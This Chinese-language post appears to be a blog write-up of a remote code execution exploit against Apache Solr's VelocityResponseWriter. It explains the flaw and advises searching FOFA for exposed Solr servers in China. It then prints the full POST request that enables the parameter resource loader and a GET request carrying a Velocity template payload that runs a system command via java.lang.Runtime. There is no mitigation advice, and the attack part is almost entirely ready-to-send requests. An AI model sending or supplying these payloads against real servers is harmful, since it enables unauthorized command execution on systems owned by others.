10月31日发现的apache solr的最新漏洞,经过测试该poc真实有效,且危害性高。
poc地址:https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
漏洞原理:攻击者可以直接访问solr控制台时,可通过发送/节点名/config的post请求对该节点的配置文件进行修改,将Apache solr的params.resource.loader.enabled为true,这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模板,当设置为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,所以可以通过该漏洞,在服务器上进行命令执行。
漏洞复现:
在fofa上搜索 app="Solr" && country="CN"
里面会有大量Solr服务器。
第一步:获得path路径:红框标的就是core的名称
直接构成post请求,在 /solr/core名称/config下修改solr.resource.loader.enabled 和 params.resource.loader.enabled 为true
poc为:
-------------------------------------------------------------------------------------------------------------------------------------------------
POST /solr/core名称/config HTTP/1.1 Host:ip:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }-------------------------------------------------------------------------------------------------------------------------------------------------
用exp进行漏洞复现:
GET /solr/core名称/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: ip:port Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }--------
特别鸣谢:山石瞭望
